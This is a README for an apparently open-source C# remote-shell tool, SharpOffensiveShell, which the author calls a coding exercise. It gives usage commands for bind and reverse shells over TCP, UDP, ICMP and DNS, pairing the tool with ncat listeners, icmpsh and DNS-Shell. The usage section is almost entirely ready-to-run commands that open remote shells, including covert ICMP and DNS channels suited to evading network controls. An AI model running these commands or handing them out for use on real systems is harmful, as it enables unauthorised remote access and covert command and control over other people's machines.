SharpOffensiveShell

A sort of simple shell which support multiple protocols.

This project is just for improving my C# coding ability. The SharpOffsensiveShell DNS mode use the Native Windows API instead of the Nslookup command to perform DNS requests.

QuickStart

SharpOffsensiveShell support .NET Framework 2.0

csc SharpOffensiveShell.cs

TCP

For bind shell

sharpoffensiveshell.exe tcp listen 0.0.0.0 8080

ncat -v 1.1.1.1 8080

For reverse shell

ncat -lvp 8080

sharpoffensiveshell.exe tcp connect 1.1.1.1 8080

UDP

For bind shell

sharpoffensiveshell.exe tcp listen 0.0.0.0 8080

ncat -u -v 1.1.1.1 8080

For reverse shell

ncat -u -lvp 8080

When reverse connection accepted, type enter to make prompt display.

sharpoffensiveshell.exe tcp connect 1.1.1.1 8080

ICMP

git clone https://github.com/inquisb/icmpsh
sysctl -w net.ipv4.icmp_echo_ignore_all=1
cd icmpsh && python icmpsh-m.py listenIP reverseConnectIP

sharpoffensiveshell.exe icmp connect listenIP

DNS

pip install dnslib
git clone https://github.com/sensepost/DNS-Shell

For direct mode

python DNS-Shell.py -l -d [Server IP]
sharpoffensiveshell.exe dns direct ServerIP Domain 

For recursive mode

DNS-Shell.py -l -r [Domain]
sharpoffensiveshell.exe dns recurse Domain